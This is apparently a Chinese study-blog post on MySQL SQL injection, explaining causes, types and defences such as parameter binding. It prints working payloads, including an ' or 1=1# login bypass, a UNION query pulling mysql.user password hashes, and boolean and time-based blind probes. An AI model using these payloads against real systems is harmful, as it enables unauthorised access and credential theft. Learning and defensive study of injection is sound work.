SQL注入——MySQL学习

SQL注入

产生场景

主要是由于数据未与代码进行严格的隔离导致的。

场景1

原始的更新需求

update table set memo = 'id'

由于用户的误触,输出了特殊符号,导致如下:

update table set memo = ''#jjjkjkjjjjkjk'

这样就导致了SQL语句提前闭合,数据表中的memo字段被清空。

场景2

原始的查询需求

select * from user where uername='$name' and password='$pass';

输入万能注入语句就变成’or 1=1#

select * from user where uername=' ' or1=1#' and password=balabala

实际上等于

select * from user

直接就把SQL语句给废掉了。

分类

按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。


本文这里对常见的几种SQL注入手段进行分析,进一步的注入方式还需要深入学习。

联合查询注入(查询类网站)

查询MySQL的root用户和密码hash值:
'union select user,authentication_string from mysql.user#‘

首先使用’将前面的SQL语句闭合,然后使用union查询自己想要查询的内容

基于bool的盲注(报错型网站)

然后判断当前数据库中第一个数据表的长度是否大于5:
1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:

其实就是前面闭合SQL语句,后面用bool来尝试

基于时间的盲注

然后猜解当前数据库中数据表的个数:
1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

跟bool类型很相似,只不过这里换了时间变量。

防止SQL注入

(1)过滤用户输入参数中的特殊字符,从而降低SQL注入的风险。

(2)严格使用参数绑定传入的SQL参数

参考资料


SQL注入详解

SQL注入分析

posted @ 2022-11-28 20:57  深海之燃  阅读(76)  评论(0)    收藏  举报